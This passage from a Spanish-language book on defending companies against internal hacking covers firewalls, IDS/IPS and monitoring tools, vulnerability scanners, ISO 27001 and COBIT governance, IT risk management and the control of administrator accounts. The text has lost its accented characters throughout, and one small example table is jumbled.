el sistema operativo IPSO, o ms recientemente GAiA de CheckPoint y Junos de Juniper Networks, estn ms
adaptados a esta funcin que un sistema operativo polivalente.

Al elegir un cortafuegos, tenga en cuenta lo que est por defecto y lo que est como opcin, como la activacin
de un IPS o tambin la consola de gestin centralizada si dispone de varios cortafuegos. Algunos fabricantes
complican enormemente sus ofertas con sistemas de licencia incomprensibles. Se arriesga a encontrarse con un
producto que realiza la mitad de lo que necesita por el doble del precio inicial.

En cuanto a la calidad y seguridad, existen organismos certificados para estos productos que le dan acceso al
informe de pruebas. Sin embargo, esto no garantiza la inviolabilidad del cortafuegos o un mejor anlisis de un
nuevo ataque que de otro.

Esta es la direccin web del ICSA, un organismo de certificacin de


cortafuegos:https://www.icsalabs.com/technology-program/firewalls

Es evidente que la proteccin de un centro de datos de un proveedor de telecomunicaciones y la proteccin de


un equipo de una panadera no necesitan el mismo nivel de seguridad, simplemente porque no estn sometidos
a los mismos riesgos tanto en el nmero como en el tipo de ataques. Por lo tanto, aparte del precio, conviene
elegir un cortafuegos que corresponda a lo que realmente necesita para reducir los riesgos, y no un equipo
multiusos.

2. Herramientas de monitoring y de vigilancia

Una vez los sistemas instalados y la red funcional, queda la parte operativa, es decir, la vigilancia y el
mantenimiento de los elementos necesarios para la seguridad y el buen funcionamiento del trabajo de los
departamentos. Para ello, existen en el mercado aplicaciones inteligentes capaces de ayudar a los administradores
en su trabajo diario, como los IDS e IPS para la deteccin de ataques y los sistemas de monitoring para la
deteccin y gestin de incidentes en el funcionamiento.

a. IDS e IPS

Los IDS e IPS, los sistemas de deteccin de intrusin y los sistemas de deteccin y prevencin de intrusin, u
otras herramientas de anlisis de las tramas de red en tiempo real, pueden permitir reducir las tentativas
conseguidas de ataques. Este tipo de capacidades est ligado muchas veces a un cortafuegos, como los de
CheckPoint, Fortinet, Juniper y otros. Existen programas con las mismas capacidades, como uno de los ms
conocidos, Snort, que se puede instalar en un sistema Windows.
Encontrar Snort en la siguiente direccin: http://www.snort.org/downloads

Los IDS e IPS pueden ser de tipo pasivo o activo. Esto depende si es nicamente capaz de alertar al detectar un
ataque o si dispone de la capacidad de reaccin para bloquear el ataque.

La calidad de un IDS se mide por su capacidad de detectar las intrusiones, pero tambin por su capacidad de
dejar pasar el trfico vlido sin ralentizacin ni bloqueo. Debe ser complementario al cortafuegos y, en la medida
de lo posible, bloquear inmediatamente el ataque. La deteccin se basa generalmente en las firmas de los
paquetes o en la bsqueda de anomalas en el protocolo o en los paquetes de una comunicacin entre un origen
y un destino.

Este tipo de proteccin es muy potente, pero necesita muchas veces de un esfuerzo considerable en la
configuracin para alcanzar un alto nivel de fiabilidad de deteccin. Adems, existen medios para evitar los IDS
e IPS.

b. Vigilancia de los sistemas y los elementos de seguridad

Herramientas como Microsoft SCOM (System Center Operation Manager), Nagios u otros permiten la vigilancia
de servidores y en general del entorno de trabajo. Estas herramientas son importantes si no desea analizar en
cada servidor y cada elemento de red los logs de eventos. Estos logs suelen estar centralizados gracias a
programas de gestin de logs. Despus lo habitual es que la informacin se resuma en paneles de control
configurables.

La mayor parte de estos programas de monitoring le informan en tiempo real si un servicio est parado o si un
objeto es modificado. Algunos van ms all dndole la posibilidad de configurar acciones cuando ocurre un
problema. El sistema es entonces proactivo y puede responder automticamente a estos problemas.

Algunas herramientas son de pago, otras son gratuitas, con o sin limitaciones. Aqu le dejamos una lista de
programas gratuitos con ms o menos funcionalidades o limitaciones; cualquiera de ellos debera bastar para
cubrir las necesidades de una pyme:

PRTG Network Monitor: http://www.es.paessler.com/prtg

Total Network Monitor: http://www.softinventive.com/products/total-network-monitor/

Nagios: http://www.nagios.org/products

Para las empresas grandes, los grandes fabricantes como Microsoft, HP, IBM, etc., proponen una solucin de
monitoring ms o menos interesante. Le corresponde a usted encontrar la aplicacin que se adapte mejor a sus
necesidades.

3. Herramientas de auditora y de prueba de vulnerabilidades

Como habr entendido, MBSA y PortQry estn bien, pero no son suficientes para analizar correctamente el estado
de la seguridad en su empresa. MBSA es gratuito y da consejos valiosos sobre las configuraciones que es preciso
adoptar para aumentar la calidad de la seguridad en entornos Windows. Por desgracia, este programa no gestiona
todos los problemas ligados a la vulnerabilidad de los sistemas. En efecto, las aplicaciones de servidores y clientes
no giran nicamente en torno al mundo de Microsoft. Debe poder analizar y remediar los posibles fallos de
seguridad de otras aplicaciones o servidores.

a. Programas personales

En las versiones personales, aparte de los antivirus, antimalware y cortafuegos ya enunciados, existe otro tipo
de herramienta particular que puede instalar y usar en su ordenador personal. La herramienta gratuita Secunia
PSI (Personal Software Inspector) le informa de si sus aplicaciones estn actualizadas y, si no lo estn, le
propone actualizarlas.

Encontrar esta herramienta en la siguiente direccin:http://secunia.com/vulnerability_scanning/personal/

Una herramienta de este tipo le permite saber qu aplicaciones tienen que actualizarse entregndole un informe
de auditora de las aplicaciones que no estn actualizadas a la ltima versin. Podr seguir as las ltimas
novedades de sus programas y sobre todo las ltimas actualizaciones de seguridad dispo-nibles.

b. Programas de empresa

Desde el punto de vista de la empresa y por lo tanto desde un punto de vista ms global, existen numerosas
ofertas en el mercado de la auditora y prueba de vulnerabilidades. Ya hemos hablado en este libro de Nessus,
uno de los ms conocidos en este dominio.

Pero existen muchos ms, como:

Secunia Corporate Software Inspector (CSI)


eEye Retina Network Security Scanner
GFI LANguard
IBM Internet Scanner
McAfee Vulnerability Manager
SAINTscanner
OpenVAS (gratuito)
Todos estos programas escanean su red y le entregan un informa de las vulnerabilidades encontradas. algunos
son, adems, capaces de gestionar la actualizacin (Patch Management), incluidos los productos que no son de
Microsoft.

Los retos de la gestin


Como habr observado, las tcnicas propuestas le permiten atacar o ser atacado, ya sea usted administrador de un
dominio o un simple usuario de un equipo. Si resumimos la seguridad en tratar de encontrar una solucin tcnica a
este tipo de ataques, la guerra estar perdida de antemano. La tcnica solo dar soluciones que ralenticen el
ataque o que reduzcan el riesgo, pero no tiene en cuenta todas las variables. Adems, es imposible imponer
soluciones tcnicas aunque sean eficaces si no se integran correctamente el trabajo diario de los empleados.

La gestin de los SI (sistemas de informacin) aporta una solucin adaptada a la empresa teniendo en cuenta los
riesgos reales. Permite dar una respuesta global a la seguridad y no nicamente una solucin hecha de
configuraciones y despliegue de programas. La instalacin de una solucin de seguridad debe encuadrarse en un
concepto global y la demanda debe venir de los empleados o de la direccin. El departamento informtico debe
estar presente para dar soluciones tcnicas aceptables a una peticin del responsable de seguridad, pero no debe
forzar la integracin o configuracin de soluciones en detrimento del funcionamiento de la empresa. La gestin
toma en cuenta los aspectos legales y financieros y participa en la creacin del valor aadido de la empresa. Los
objetivos del SI deben definirse de acuerdo con los objetivos de la empresa.

Tiene como reto crear el marco global basndose en normas y buenas prcticas y dando a la empresa medios,
procedimientos, mejoras en los procedimientos y claves para aumentar la seguridad. El anlisis de fallos de
seguridad de los sistemas y de las aplicaciones solo representa una nfima parte de la gestin. Para proteger una
empresa se debe considerar la seguridad desde un punto de vista global.

El impacto y las consecuencias del internal hacking en la gestin


El xito de la puesta en marcha de un SGSI est estrechamente ligado a la coherencia entre los objetivos y
estrategia de la seguridad y los de la empresa. La gestin de la seguridad de la informacin debe tener el apoyo de
la direccin y debe tener en cuenta las exigencias y los riesgos recogidos al evaluar y al gestionar. La comunicacin,
la sensibilizacin, la formacin y la difusin de las lneas directrices son herramientas importantes en la gestin.
Debe integrarlas en el despliegue de su sistema de gestin de la seguridad.

El internal hacking es un aspecto que no siempre se tiene en cuenta en la gestin. Muchas veces, los responsables
de la seguridad eligen proteger nicamente lo relacionado con el exterior de la empresa para impedir que un
atacante acceda a la red interna. Esta eleccin se efecta muchas veces para reducir los costes de la seguridad y
para simplificar la administracin de esta a nivel interno. Pero qu pasa si el lobo ya se encuentra dentro del redil?

Una solucin de seguridad a nivel interno implica obligatoriamente un impacto en el trabajo diario, ya que la
solucin debe proteger cada usuario, pero tambin impedirle cometer acciones peligrosas para la empresa. La
mayora de las tcnicas vistas en este libro permiten ataques, aunque el equipo est protegido. Se trata, por lo
tanto, de responder a este tipo de tcnicas no con la ayuda de un programa, sino con procedimientos y formacin
de los usuarios. Debe revisar su anlisis de riesgos y aadir los nuevos riesgos detectados. Piense en los distintos
medios que pueden utilizarse para dar una solucin que reducir lo mejor posible el impacto de estos riesgos o la
eventualidad de que aparezcan.

La seguridad siempre ha tenido un coste directo e indirecto. Los costes directos son las licencias de uso, la
instalacin, la configuracin y el mantenimiento de las soluciones de seguridad, como los cortafuegos, los antivirus
y otras soluciones similares, as como la restauracin y reparacin de posibles incidentes. Los costes indirectos son
la prdida de funcionalidad o la pesadez de ciertos procedimientos para garantizar la seguridad. El desempeo de
las tareas de los empleados puede verse fuertemente impactado por procedimientos que ralenticen su trabajo o
programas invasivos que complican la puesta en marcha de una tarea. Estos costes no son fciles de cuantificar. Sin
embargo, estn presentes en cuanto se trata de aumentar la seguridad interna de una empresa.

Debe inevitablemente tomar en consideracin estos parmetros al analizar la implementacin de una nueva
solucin o de un nuevo procedimiento de seguridad. Tmese el tiempo de realizar un anlisis del impacto en el
desempeo de la labor diaria. Un anlisis de riesgos no es suficiente.
Unas buenas prcticas que nos pueden ayudar

1. Norma o buenas prcticas

Existen multitud de normas y buenas prcticas. Una norma tiene como objetivo certificar un sistema de
informacin, un procedimiento o una persona. Las buenas prcticas tienen como objetivo dar directrices para
poner en marcha el SI y los procedimientos conexos, permitiendo al que las implementa una idea clara, prctica y
completa del SI. Las normas ms comunes, en lo que concierne a la seguridad informtica, son las definidas por
ISO/IEC, como la norma 27001, que permite la puesta en marcha de un SGSI (sistema de gestin de la seguridad
informtica). Esta norma anima a realizar un acercamiento por procedimientos para poner en marcha el
funcionamiento, la vigilancia, la revisin y la actualizacin del sistema de gestin de la seguridad de los sistemas
de informacin. Se basa en PDCA (Plan, Do, Check, Act - Planificar, Desplegar, Controlar, Actuar), tambin llamado
la rueda de Deming. Este principio aplica a todos los procedimientos del SGSI. La norma 27001 est alineada
con las normas ISO 9002:2000 e ISO 14001:2004 para que el sistema de gestin sea coherente en toda la
empresa.

La gua de buenas prcticas 27002 permite la puesta en marcha de un SGSI. Esta gua es muy completa y da una
respuesta prctica a las exigencias de la norma ISO 27001.

El objetivo de este libro es darle pistas para que pueda poner en marcha contramedidas tcnicas, pero tambin
para que comprenda los retos y los procedimientos de base de la gestin de un sistema de informacin. En este
sentido, he decidido presentarle la gua COBIT de manera ms detallada en los siguientes apartados, sin perder
de vista la temtica del internal hacking.

2. COBIT, Val IT y Risk IT

La referencia Val IT permite dar, a los gerentes y las empresas, lneas directrices, procedimientos y buenas
prcticas para la toma de decisiones en materia de inversin en el campo informtico y en la valorizacin de SI.
Esta referencia permite aumentar la transparencia y comprensin de los beneficios, costes y riesgos y as elegir
mejor un proyecto de inversin en IT para que se alinee con los objetivos de la empresa.

Risk IT se ha concebido para ayudar a la direccin y la empresa a gestionar los riesgos ligados a los sistemas de
informacin. Esta gua est basada en los principios directores y los procedimientos orientados al desempeo de
las fun-ciones diarias de los empleados.

COBIT es una de las guas ms reconocidas y utilizadas para el gobierno de SI. Tiene en cuenta las necesidades y
exigencias del desempeo del trabajador y ms precisamente de las partes interesadas con el objetivo de una
mejora continua. COBIT propone objetivos de control que permiten asegurar que la parte informtica cumple con
sus objetivos. COBIT propone 34 procedimientos abiertos que pueden adaptarse a la empresa. Estos
procedimientos estn repartidos en los cuatro dominios siguientes:

Planificar y organizar - PO
Adquirir e implementar - AI
Desplegar y soportar - DS
Vigilar y evaluar - VE

No es necesario adaptar todo lo que ofrece COBIT. La creacin de todos los procedimientos y de los puntos de
control pueden recargar enormemente el funcionamiento de su empresa. Conviene empezar por integrar los que
son necesarios para la viabilidad y la evolucin del negocio, y despus los que generan una verdadera plusvala en
trminos de seguridad.

Situacin de las guas de Isaca (fuente: www.isaca.org)

Risk IT, Val IT y COBIT son editados y mantenidos por ISACA (Information Systems Audit and Control
Association). Estas herramientas trabajan juntas para cubrir los puntos esenciales del gobierno de un sistema de
informacin.

Poner en marcha la gestin de los SI con la ayuda de COBIT

1. Marco general

Para poner en marcha la gestin en nuestra empresa, le proponemos utilizar COBIT, descrito en la seccin
anterior. Un cierto nmero de procedimientos se describen y proponen para responder a la problemtica
del internal hacking y estos ejemplos solo representan una introduccin a COBIT. Los dems procedimientos son
igual de interesantes y merecen toda su atencin. El gobierno no debe focalizarse nicamente en la lucha
del internal hacking, sino dar una respuesta global a la gestin de un sistema de informacin. Le aconsejamos que
se haga con la gua completa de COBIT. La encontrar en el siguiente enlace: http://www.isaca.org/Knowledge-
Center/cobit/Pages/Downloads.aspx

Los 34 procedimientos de COBIT incluyen objetivos de control que obligan a cumplir una exigencias. Estas
exigencias piden la puesta en marcha de procedimientos informticos, tareas y otros procedimientos. COBIT
describe nicamente los procedimientos principales, los objetivos de control y los elementos necesarios para
evaluar el nivel de madurez de la gestin. Los procedimientos informticos, las tareas y los otros procedimientos,
que se tienen que crear o modificar para responder a las exigencias, son propios para cada empresa.
El cuadro general de referencia siguiente da una visin global de la puesta en marcha de una gestin de sistema
de informacin basado en COBIT:

(fuente: www.isaca.org)

2. Qu es un objetivo de control?

Los objetivos de control de COBIT son el corazn de la puesta en marcha de los 34 procedimientos. Permiten
anteponer lo que se espera como resultado en un procedimiento y, por lo tanto, darle las pistas necesarias para
llevar a buen trmino la puesta en marcha de la gestin de los sistemas de informacin. Los objetivos de control
son suficientemente detallados para que pueda asimilarlos como objetivos cuando decide aplicar un procedimiento
en su empresa.

Es un poco como hacer reformas en una casa. Empieza por definir lo que desea (la gestin de sistemas de
informacin), despus hace la lista de los elementos que debe comprar (decisin que lo que quiere aplicar de
COBIT), despus procede por etapas (procedimiento), controlando que el parquet colocado est recto, que el
interruptor enciende la bombilla correcta, etc. (objetivos de control). La gua COBIT, a travs de sus
procedimientos y sobre todo de sus objetivos de control, le da un punto de mira para aplicar las buenas prcticas
de gobierno.

3. El procedimiento Puesta en marcha de la gestin de los SI

Empezaremos por los procedimientos para poner en marcha la gestin. Este procedimiento de puesta en marcha
est descrito en la gua. Se encuentra en la seccin SE4 Vigilar y evaluar. Este procedimiento incluye, como ya
hemos visto, objetivos de control compuestos de exigencias. Estas exigencias son complejas y le dan un punto de
vista idealista de lo que debera existir en su empresa una vez implementado COBIT. Permitirn inspirarle y darle
una idea general de lo que se espera en la implementacin. Estn en parte descritas en las siguientes lneas.
a. Puesta en marcha de un cuadro de gestin de los SI - SE4.1

Defina, ponga en marcha y alinee los objetivos de gestin de los sistemas de informacin con los de la empresa.
Base la gestin en un procedimiento y objetivos de control adecuados. Conserve la lnea impuesta por los
reglamentos, la legislacin, la estrategia de la empresa y los objetivos de negocio. Comunique e informe de los
componentes de la gestin de los SI.

b. Alineamiento estratgico - SE4.2

Las estrategias, los objetivos, el rol, la capacidad, as como las posibilidades ofertadas por la tecnologa del SI,
deben ser comprensibles desde la direccin y la alta direccin. Trabaje con el consejo de administracin para
definirlos. El negocio y el SI deben estar de acuerdo en lo que puede aportar el sistema de informacin a la
estrategia del negocio. La confianza entre el SI y el negocio debe desarrollarse. Asegrese de que la estrategia y
los objetivos del SI estn alineados con las estrategias y los objetivos de negocio.

c. Valor aadido - SE4.3

Asegrese de que la inversin que dependa de la informtica y de que todos los activos ligados con el SI aporten
el mayor valor aadido posible al servicio de la estrategia de la empresa y de los objetivos de negocio.
Asegrese de que los resultados esperados de las inversiones informticas estn de acuerdo con los resultados
esperados del negocio y de que sean correctamente entendidos. Debe existir un anlisis de la rentabilidad de las
inversiones y que sea aprobada por las partes implicadas. Ponga en marcha una gestin de los portfolios donde
el negocio es propietario de las inversiones que dependen de la informtica. La informtica debe asegurar una
optimizacin de los costes de puesta en marcha y de mantenimiento de los servicios.

d. Gestin de recursos - SE4.4

Controle de manera habitual los activos informticos propiciando la evolucin de la explotacin y utilizacin en
trminos de recursos, asegurndose de que esto corresponda siempre con las necesidades del negocio y los
objetivos estratgicos.

e. Gestin de riesgos - SE4.5

Defina con el consejo de administracin el nivel de riesgo informtico que est dispuesto a asumir. Ponga en
marcha una gestin de riesgos suficiente para no sobrepasar el nivel de riesgo mximo elegido. Evale
regularmente los riesgos informticos y sus consecuencias. Asegrese de que los riesgos son transparentes para
los empleados, el consejo de administracin y las partes implicadas.

f. Medida del rendimiento - SE4.6

Verifique que los objetivos informticos validados se han conseguido o sobrepasado y que los objetivos no
finalizados estn en la direccin correcta para llegar a buen puerto. Tome acciones correctivas para los objetivos
que no se han conseguido. Mida e informe del rendimiento de los proyectos del sistema de informacin al
consejo de administracin.
g. Seguro independiente - SE4.7

Asegrese de que todo lo que se pide al SI, como la conformidad de las exigencias, de la legislacin, de los
reglamentos de la empresa, de las normas, de las buenas prcticas y del correcto rendimiento del SI, es
conseguido y gestionado por una persona que no forme parte del equipo de sistemas informticos.

4. Por dnde empezar?

COBIT puede parecer complejo e inabordable para una empresa. Sin embargo, solo se trata de copiar/pegar la
gua y sus procedimientos en la empresa. La primera tarea que hay que realizar es una auditora para conocer el
nivel de madurez de la empresa frente a los procedimientos de la gua.

a. Nivel de madurez

Pero qu es el nivel de madurez? Es una escala que le permitir saber a qu nivel su infraestructura est
alineada con los procedimientos propuestos por COBIT. El resultado generar dos ventajas interesantes. La
primera, como un boletn de notas escolares, le dar una nota para cada procedimiento. La segunda ventaja,
todava ms interesante, es que dispondr, gracias a esta autora, de una vista general de lo que se ha puesto
en marcha y de qu manera.

COBIT da, para cada uno de sus procedimientos, las claves para definir el nivel de madurez respecto a este. El
resultado de este anlisis contiene varios valores posibles:

0 - Inexistente. El procedimiento no existe y el objetivo del procedimiento es considerado como frvolo. La


empresa no ha considerado an el problema.

1 - Inicializado/Caso por caso. No existe ningn procedimiento, pero la empresa sabe que el problema existe y
lo trata caso por caso.

2 - Reproducibles pero intuitivos, existen procedimientos. Son simplistas y una gran parte se deja a la eleccin
de la persona. No hay formacin, ni comunicacin sobre los procedimientos.

3 - El procedimiento est definido. Existe un estndar, est documentado y comunicado con formacin.
Formaliza las prcticas existentes, pero no son sofisticadas.

4 - Gestionado y medible. La gestin consigue medir y controlar los procedimientos. Los procedimientos son
optimizados y mejorados constantemente. La automatizacin se utiliza poco.

5 - Optimizados, las buenas prcticas se alcanzan gracias a la mejora continua. El negocio se beneficia de los
recursos del sistema informtico de manera ptima. Las tareas se automatizan gracias a la informtica y sus
herramientas.

En la gua, para cada procedimiento encontrar la correspondencia con los valores de 0 a 5. Podr entonces
saber exactamente dnde se encuentra respecto a la implementacin y cmo puede mejorarla.
b. Procedimientos de partida

No est obligado auditar su empresa en referencia a los 34 procedimientos de la gua. Puede empezar por los
que le son ms pertinentes o por los procedimientos que desea poner en marcha primero. Le aconsejamos
empezar teniendo un enfoque de negocio y de seguridad evaluando y aplicando la lista de procedimientos COBIT
siguientes:

PO4 Definir los procesos, organizacin y relaciones de TI


PO9 Evaluar y administrar los riesgos de TI
AI3 Adquirir y mantener la infraestructura tecnolgica
AI6 Administrar los cambios
AI7 Instalar y acreditar las soluciones y los cambios
DS1 Definir y automatizar los niveles de servicio
DS2 Administrar los servicios de terceros
DS4 Garantizar la continuidad del servicio
DS5 Garantizar la seguridad de los sistemas
DS8 Administrar la mesa del servicio y los incidentes
DS9 Administrar la configuracin
DS10 Administrar los problemas
DS13 Administrar las operaciones

Esta lista le da un buen punto de partida para empezar con la gestin de sistemas de la informacin en su
empresa. Sin embargo, estos procedimientos tienen un enfoque en los recursos informticos. El valor aadido,
la medida de rendimiento y finalmente la gestin no son los primeros puntos a los que apunta esta lista. Parece
claro que despus tendr que auditar y aplicar otros procedimientos para mejorar el conjunto del
funcionamiento del SI.

Administrar y gestionar el riesgo

1. Definiciones

El riesgo IT est constituido de eventos informticos no deseados que tienen un impacto sobre el negocio. Puede
sobrevenir con una frecuencia y una importancia no conocida de antemano. Forma parte del conjunto de riesgos
de la empresa. El riesgo IT atae a la informtica, pero no es solamente tcnico. Es importante que comprenda
que el negocio debe ser la parte ms importante para la gestin de riesgos. El negocio es el que puede explicar
mejor lo que es importante para su desarrollo. Los expertos informticos estn para dar una opinin tcnica sobre
las soluciones o los problemas potenciales.

La gestin de riesgos permite tener una imagen de las situaciones que podran ocurrir en los sistemas e impactar
en el negocio. Permite fijar soluciones potenciales. La gestin del riesgo es una fase muy importante para la
puesta en marcha de la seguridad de un SI. Permite obtener una imagen clara del riesgo actual y de las posibles
soluciones, y definir las probabilidades de que se produzcan, as como el impacto en caso de que ocurran.
Encontrar informaciones interesantes en el sitio web de ISACA en relacin con Risk IT que completa COBIT para
la gestin de sistemas de informacin: www.isaca.org.
2. Estimacin del riesgo

La estimacin del riesgo puede hacerse partiendo del negocio. Identifique los objetivos de negocio y los escenarios
ms pertinentes en los que impactan dichos objetivos. La estimacin se puede realizar tambin partiendo de
riesgos genricos, lo que permite no olvidarse de un riesgo no identificado en un escenario. Una vez identificados
estos riesgos, debe estimar sus frecuencias e impactos. Estas informaciones permitirn elegir los riesgos en los
que actuar con prioridad y las acciones que es preciso emprender. Si un riesgo supera la tolerancia fijada, deber
tratarlo.

Puede definir una escala a su conveniencia y estimar los riesgos en funcin de dicha escala.

La tabla siguiente presenta un ejemplo:

Evento Frecuencia Impacto Total 3.


Recuperacin de la contrasea del Los
administrador
factores de dominio por un 5
de riesgo 9 45
usuario

Al estimar el riesgo o a la creacin de un escenario, numerosos factores tienen que tomarse en cuenta. Pueden
tener influencia en la estimacin. Estos factores pueden ser del entorno o debido a las capacidades de las
personas. Estn ligados a su empresa. Le presentamos una lista que puede utilizar:

Factores del entorno exterior:


La posibilidad de cambio

La competencia

El mercado

La legislacin

La evolucin de las tecnologas

etc.
Factores del entorno interno:
El modelo operacional

La complejidad de la infraestructura

La complejidad de la empresa

Las prioridades estratgicas

etc.

Capacidad en la gestin de riesgos:


Capacidad de la empresa para detectar y gestionar los riesgos

Tratamiento de los riesgos

Ausencia o presencia de control

Madurez global de la empresa frente a los riesgos

Capacidades informticas:
Nivel de madurez de los procedimientos informticos

Planificar y organizar (COBIT)

Adquirir e implementar (COBIT)

Entrega y soporte (COBIT)

Vigilar y evaluar (COBIT)

Capacidades del negocio ligadas a la informtica:


Generacin de valor aadido e inversin informtica

Eleccin y calidad de los socios

Estos factores deben definirse y tenerse en cuenta al establecer un riesgo. Pueden influenciar su decisin sobre su
tratamiento, sobre el impacto o tambin sobre su frecuencia. Si, por ejemplo, su negocio consiste en realizar
ventas mediante comercio electrnico, los ndices de cambio y los proveedores son elementos claves para su xito
y que tambin pueden representar, por lo tanto, un factor de riesgo importante.

4. La clasificacin del riesgo

Para clasificar un riesgo, puede aadir a su gestin de riesgos los campos siguientes:

El tipo de evento:
Modificacin

Robo

Destruccin

Mal uso

Etc.

El tipo de amenaza:
Mala monitorizacin
Error humano

Exigencia externa

Amenaza natural

Etc.

Los elementos de tipo Actor:


Personal interno

Subcontrata

Competidor

Regulador

Etc.

Los elementos de tipo Activos o los recursos:


Procedimientos

Aplicaciones

Infraestructura informtica

Etc.

Los elementos de tipo Temporal:


La duracin

Tiempos de deteccin

Etc.

Todos estos elementos de clasificacin le permiten definir lo mejor posible los riesgos que ms se corresponden
con su empresa. En lo que concierne al internal hacking, los actores que es preciso tener en cuenta son el
personal interno, las subcontratas, los consultores, pero tambin todas las personas o sociedades que tengan
acceso a su infraestructura interna, aunque este acceso sea o haya sido provisional.

5. El tratamiento de un riesgo

Cuando se identifica un riesgo, estimado y clasificado, debe aplicar un tratamiento si el nivel de riesgo es ms
elevado que el nivel aceptado por la empresa. El nivel de aceptacin y la inclinacin al riesgo de una empresa se
denominan apetencia al riesgo. Cuando el riesgo necesita una accin, puede tratarse de cuatro maneras. Estos
tratamientos pueden acumularse. Los cuatro tratamientos posibles para un riesgo se detallan a continuacin:

Prevenir/evitar el riesgo. Prevenir el riesgo consiste generalmente en realizar un cambio para que el riesgo
no se vuelva a producir. La formacin es tambin un medio de prevenir el riesgo, pero no lo anula
totalmente.
Aceptar el riesgo. Una vez un riesgo analizado y el impacto en el negocio tomado en cuenta, es posible
aceptar el riesgo sin tratarlo. Este tipo de respuesta se adopta cuando un riesgo no tiene consecuencias
juzgadas como graves. Una respuesta como esta no debe, sin embargo, ser la respuesta por defecto.
Reducir/atenuar el riesgo. Se trata de tomar medidas como la puesta en marcha de procedimientos o la
instalacin de una solucin tcnica que tendr como consecuencia reducir el riesgo. Es generalmente la
accin ms utilizada por el departamento de IT.
Transferir el riesgo. La trasferencia de un riesgo consiste en ceder a otra empresa la responsabilidad de
reducirlo o prevenirlo. Sin embargo, la trasferencia del riesgo no garantiza su erradicacin. Por ejemplo,
podemos elegir una empresa que analice su trfico proveniente de Internet antes de que este entre en su
empresa. Es, por lo tanto, un cortafuegos que le protege. Sin embargo, no tiene la garanta de que el
trfico filtrado por esta empresa sea exactamente el trfico limpio y sin problema que desea.

6. Los otros elementos de la gestin de riesgos

Una vez definida una accin para un riesgo, le queda definir el coste de cada tratamiento. Es importante poner un
precio a la solucin potencial para poder compararla correctamente con otras. Hay que volver a estimar la
frecuencia y el impacto despus de la modificacin para medir hasta qu punto la solucin corresponde a la
calidad esperada o no. Acurdese de estudiar el impacto en el negocio de las distintas proposiciones. Tendr que
evitar que una solucin sea ms peligrosa que el problema en s. Tendr as una estimacin calidad/coste para
cada accin. La direccin de su empresa podr, con todas estas informaciones, tomar la mejor decisin para el
tratamiento de cada riesgo identificado que sobrepase el nivel asumido de peligrosidad.

Tratar el internal hacking desde el punto de vista de la gestin


Tomar conciencia de los problemas del internal hacking es en s un paso adelante. Esta toma de conciencia provoca
una modificacin de los proce-dimientos internos y en general de la gestin de la seguridad. En la filosofa
del internal hacking, la directriz es considerar cada usuario del sistema informtico como un pirata o una vctima
potencial de uno de sus colegas. La direccin de la empresa debe darse cuenta de la importancia de este principio
para imponer la gestin que convenga. COBIT propone procedimientos y objetivos de control asociados interesantes
para gestionar estas problemticas desde el punto de vista de la gestin de los sistemas de informacin. El
procedimiento y los objetivos de control que hay que poner en marcha son genricos y seleccionados para proponer
una solucin en trminos de gobierno para el internal hacking. Es posible que su empresa necesite otros.

1. La gestin de los administradores

Los administradores de los sistemas informticos son personas claves en una empresa. Tienen un poder casi total
en el conjunto de la infraestructura y de las informaciones. Conviene, por lo tanto, aplicar un procedimiento
estricto de seleccin de los administradores, garantizar que ningn otro usuario pueda obtener este derecho y
poner en marcha una primera lnea de defensa. No es raro ver en una empresa, aunque se considere segura,
algunas rarezas. Por ejemplo, al dejar un empleado del departamento de informtica de la empresa, su cuenta de
usuario es desactivada. Pero la contrasea de administrador del dominio sigue siendo la misma, porque esta
cuenta se utiliza para ciertos servicios. Adems, el usuario del servicio informtico comparta esta cuenta de
administrador con otros. Entonces, cmo saber, cuando se detecta que el servidor de mensajera ha sido
pirateado, quin es el verdadero responsable? Para evitar este tipo de problemas, conviene poner en marcha
procedimientos estrictos en la creacin, modificacin y eliminacin de las cuentas. Pero esto es solo un ejemplo
entre muchos otros riesgos elementales. Le proponemos, por lo tanto, leer los procedimientos siguientes, que
cubrirn una gran parte del riesgo de la gestin de los administradores.

En la parte Planificar y organizar de COBIT, la gestin del procedimiento PO7 Administrar los recursos
humanos de TI da las claves de la gestin y de la seleccin del personal adecuado:

PO7.1 Seleccin y mantenimiento del personal


PO7.2 Competencias del personal
PO7.3 Asignacin de los roles
PO7.4 Formacin
PO7.5 Dependencia
PO7.6 Procedimiento de seguridad respecto al personal
PO7.7 Evaluacin del rendimiento
PO7.8 Cambio de puestos y salidas de personal

PO7.6 Procedimiento de seguridad respecto al personal incluye la verificacin de los antecedentes en el proceso
de contratacin del personal de los sistemas informticos.

PO7.8 Cambio de puestos y salidas de personal trata de la gestin y la transferencia de conocimientos, pero
tambin de la modificacin de los permisos de acceso y de los permisos al realizar un cambio de rol. Cuando un
administrador se vaya de una empresa, debe aplicarse un procedimiento completo que indique qu tareas se han
de efectuar. Este procedimiento debe ser ms completo que el que corresponda a un usuario. Debe incluir la
posibilidad de que este usuario haya podido poner en marcha tcnicas para seguir teniendo acceso, ilcito, a los
equipos o que pueda irse con datos confidenciales.

El procedimiento DS5 Garantizar la seguridad de los sistemas propone obje-tivos de control que sirven, entre
otros, para evitar que un usuario pueda tomar el rol de administrador de dominio o que un administrador deje un
acceso ilcito:

DS5.1 Gestin de la seguridad informtica


DS5.2 Plan de seguridad informtica
DS5.3 Gestin de identidades
DS5.4 Gestin de las cuentas de usuarios
DS5.5 Pruebas de seguridad, vigilancia y monitoreo
DS5.6 Definicin de incidentes de seguridad
DS5.7 Proteccin de la tecnologa de seguridad
DS5.8 Gestin de claves de cifrado
DS5.9 Prevencin, deteccin y neutralizacin de programas malintencionados
DS5.10 Seguridad de la red
DS5.11 Intercambio de datos sensibles

El objetivo de control DS5.3 Gestin de identidades, as como DS5.4 Gestin de las cuentas de usuarios, son
objetivos que deben tomarse muy en serio. Debe asegurarse de que los usuarios internos o externos solo tengan
acceso a lo que les es necesario, con nicamente los permisos tiles para sus necesidades. Cada usuario debe
estar bien identificado, de manera nica y distinta. Los administradores deben tener una cuenta de usuario
normal para su trabajo diario, una cuenta para la administracin de servidores y de aplicaciones y, por fin, una
cuenta para la administracin del dominio. La cuenta genrica Administrador no se debe utilizar; esta cuenta
debe desactivarse. Las cuentas personales no deben servir para arrancar servicios, tareas o aplicaciones
habituales. Los servicios de Windows o las tareas que usan cuentas especficas deben censarse. Sus contraseas
deben cambiarse al marcharse un administrador de sistema. Es necesario asegurar una trazabilidad de la
aprobacin de los permisos dados a una persona y auditar regularmente los accesos a los ficheros y los miembros
de los grupos de seguridad para descubrir un acceso ilcito.

DS5.7 Proteccin de la tecnologa de seguridad concierne a la seguridad de la informacin sobre la seguridad.


